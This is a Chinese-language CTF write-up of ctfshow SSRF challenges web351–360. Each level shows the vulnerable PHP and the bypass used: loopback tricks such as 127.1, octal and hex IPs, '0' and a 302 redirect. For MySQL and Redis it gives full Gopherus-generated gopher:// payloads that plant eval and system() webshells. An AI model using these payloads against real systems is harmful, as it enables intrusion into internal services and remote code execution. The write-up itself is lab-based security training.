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php代码审计前奏之ctfshow之SSRF
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php代码审计前奏之ctfshow之SSRF
2021-02-10 16:32:10

本系列题目来源：CTFSHOW: https://ctf.show/challenges

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）

https://ctf-wiki.org/web/ssrf/

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

curl_init — 初始化 cURL 会话

curl_setopt — 设置一个cURL传输选项。

CURLOPT_HEADER启用时会将头文件的信息作为数据流输出。
URLOPT_RETURNTRANSFER将curl_exec()获取的信息以文件流的形式返回，而不是直接输出。

curl_exec — 执行 cURL 会话

curl_close — 关闭 cURL 会话

如果我们直接访问，会输出

非本地用户禁止访问

所以需ssrf读取flag, payload:

# POST
url=http://127.0.0.1/flag.php

web352~过滤127.0.0,localhost

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

parse_url — 解析 URL，返回其组成部分

这里过滤了/localhost|127.0.0/,

假的吧，都可以出来，

url=http://localhost/flag.php
url=http://127.0.0.1/flag.php

在本地尝试尝试绕过：

ping 127.0.1
ping 127.1
ping 0x7F.0.0.1
ping 0177.0.0.1

题目尝试也可绕过。

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

直接绕过:

url=http://127.1/flag.php
url=http://0x7F.0.0.1/flag.php
url=http://0177.0.0.1/flag.php

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

直接把1和·0也给过滤了。

可以

将自己域名A记录指向127.0.0.1

[http://sudo.cc/](http://sudo.cc/)正好指向127.0.0.1

302跳转

<?php
header("Location: http://127.0.0.1/flag.php");

# POST: url=http://your-domain/ssrf.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这里要求$x['host']长度不大于5.

直接,127.1正好是5

url=http://127.1/flag.php

还可找一个域名长度不大于5的域名 A 记录解析到127.0.0.1.

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这回更绝，长度不大于 3 .

0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

payload:

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

域名解析到vps,

ssrf.php

<?php
header("Location: http://127.0.0.1/flag.php");

image-20210203151622717

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

正则表达式的意思是以http://ctf.开头，以show结尾。

payload：

url=http://ctf.@127.0.0.1/flag.php?show

web359~打mysql

打无密码的mysql

https://www.freebuf.com/articles/web/260806.html

git clone https://github.com/tarunkant/Gopherus.git

python gopherus.py

[root@p1 Gopherus]# python gopherus.py --exploit mysql


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

		author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: root
Give query to execute: select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/ma.php';

Your gopher link is ready to do SSRF : 

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%47%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%61%2e%70%68%70%27%3b%01%00%00%00%01

然后传到check.php中post: returl=xxxxx,但是不要忘了把下划线后面的内容url编码一次.

浏览器会对此url进行一次解码，解码后的url可能会含特殊字符，curl提交时需再次编码.

returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2547%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%256d%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

之后就会生成ma.php.

web360~打redis

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

和上题差不多

[root@p1 Gopherus]# python gopherus.py --exploit redis


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

		author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): PHPshell

Give web root location of server (default is /var/www/html): 
Give PHP Payload (We have default PHP Shell): <?=system('ls /');?>

Your gopher link is Ready to get PHP Shell: 

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2424%0D%0A%0A%0A%3C%3F%3Dsystem%28%27ls%20/%27%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.
# ctf web # CTF知识 # ctfshow
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文章目录
web351
    web352~过滤127.0.0,localhost
      web353
        web354
          web355
            web356
              web357
                web358
                  web359~打mysql
                    web360~打redis